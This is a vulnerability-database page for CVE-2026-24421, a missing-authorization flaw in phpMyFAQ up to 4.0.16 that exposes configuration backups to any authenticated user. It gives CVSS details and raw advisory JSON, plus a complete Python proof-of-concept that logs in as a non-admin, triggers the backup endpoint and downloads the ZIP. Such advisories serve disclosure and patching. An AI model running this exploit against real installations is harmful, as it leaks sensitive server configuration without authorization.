Security Vulnerability Report
中文
CVE-2026-24421 CVSS 6.5 MEDIUM

CVE-2026-24421

Published: 2026-01-24 02:15:50
Last Modified: 2026-01-30 17:29:58

Description

phpMyFAQ is an open source FAQ web application. Versions 4.0.16 and below have flawed authorization logic which exposes the /api/setup/backup endpoint to any authenticated user despite their permissions. SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. Non-admin users can trigger a configuration backup and retrieve its path. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. This issue is fixed in version 4.0.17.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE
phpMyFAQ < 4.0.17
phpMyFAQ <= 4.0.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-24421 PoC - phpMyFAQ Authorization Bypass # Target: phpMyFAQ <= 4.0.16 # Endpoint: /api/setup/backup def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as regular user (non-admin) login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print("[+] Login successful as regular user") # Step 2: Trigger backup endpoint (requires only authentication, not admin) backup_url = f"{target_url}/api/setup/backup" headers = { "Content-Type": "application/json" } response = session.get(backup_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Backup triggered successfully!") print(f"[+] Response: {data}") # Step 3: Extract and access backup file path if 'backup_url' in data or 'url' in data: backup_link = data.get('backup_url') or data.get('url') print(f"[+] Backup file URL: {backup_link}") # Step 4: Download the backup file download_response = session.get(backup_link, timeout=10) if download_response.status_code == 200: filename = "backup_leak.zip" with open(filename, 'wb') as f: f.write(download_response.content) print(f"[+] Backup file downloaded: {filename}") print("[!] Sensitive configuration data may be exposed") return True else: print(f"[-] Backup request failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com user123 pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24421", "sourceIdentifier": "[email protected]", "published": "2026-01-24T02:15:49.507", "lastModified": "2026-01-30T17:29:58.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Versions 4.0.16 and below have flawed authorization logic which exposes the /api/setup/backup endpoint to any authenticated user despite their permissions. SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. Non-admin users can trigger a configuration backup and retrieve its path. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. This issue is fixed in version 4.0.17."}, {"lang": "es", "value": "phpMyFAQ es una aplicación web de preguntas frecuentes de código abierto. Las versiones 4.0.16 e inferiores tienen una lógica de autorización defectuosa que expone el endpoint /API/setup/backup a cualquier usuario autenticado a pesar de sus permisos. SetupController.php utiliza userIsAuthenticated() pero no verifica que el solicitante tenga permisos de configuración/administrador. Los usuarios no administradores pueden activar una copia de seguridad de la configuración y recuperar su ruta. El endpoint solo comprueba la autenticación, no la autorización, y devuelve un enlace al ZIP generado. Este problema está solucionado en la versión 4.0.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.17", "matchCriteriaId": "8A48918B-2C09-403F-A8A5-8179AE32363E"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-wm8h-26fv-mg7g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}